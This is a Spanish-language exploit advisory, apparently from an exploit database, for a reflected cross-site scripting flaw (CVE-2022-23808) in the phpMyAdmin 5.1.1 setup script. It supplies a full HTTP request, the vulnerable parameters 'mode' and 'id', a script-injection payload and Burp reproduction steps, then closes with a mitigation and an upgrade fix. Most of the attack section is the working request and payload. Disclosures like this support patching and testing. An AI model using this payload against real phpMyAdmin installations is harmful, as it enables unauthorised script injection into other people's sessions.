Exploit de phpMyAdmin

Título del Exploit : phpMyAdmin 5.1.1 - XSS (Cross-site Scripting)
Autor del Exploit : Dipak Panchal (@th3.d1p4k)
Página principal del proveedor : https://www.phpmyadmin.net
Enlace del software : https://www.phpmyadmin.net/files/5.1.1/
Versiones afectadas : Las versiones de phpMyAdmin de la rama 5.1 anteriores a la 5.1.2 están afectadas.
Probado en : Windows 10 y Linux
CVE : CVE-2022-23808
Referencia : https://www.phpmyadmin.net/security/PMASA-2022-2/

Descripción:

Se ha descubierto una serie de debilidades que podrían permitir a un atacante inyectar código malicioso en aspectos del script de configuración, lo que puede permitir XSS o inyección de HTML.

Petición:

GET /phpmyadmin/setup/index.php?page=servers&mode=test&id=test  HTTP/1.1      
Host: 127.0.0.1:1234       
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0      
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8      
Accept-Language: en-US,en;q=0.5     
Connection: close   
Cookie: pma_lang=en; phpMyAdmin=fs55xxxxxxx; pma_lang=en; pmaUser-1=xxxxxxxxxxxxxxxxxxxxxxxxxxx; phpMyAdmin=xxxxxxxxxxxxxxx; pmaAuth-1=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx           
Upgrade-Insecure-Requests: 1          
Cache-Control: max-age=0          

Parámetro(s) vulnerable(s) :

• mode
• id

Payload :

">'><script>alert(document.domain)</script>

Pasos para reproducir :

1. Captura la petición anterior en burp.
2. Reemplaza/Cambia el payload XSS con los parámetros vulnerables.
3. Haz clic en enviar y muestra la respuesta en el navegador.
4. ¡Obtendrás un popup!

Prueba de Concepto :

Mitigación :

Una instalación de phpMyAdmin con un archivo de configuración config.inc.php no permitirá el acceso al script de configuración, lo que a su vez mitiga este ataque.

Solución :

Actualiza a phpMyAdmin 5.1.2 o superior, o aplica el parche.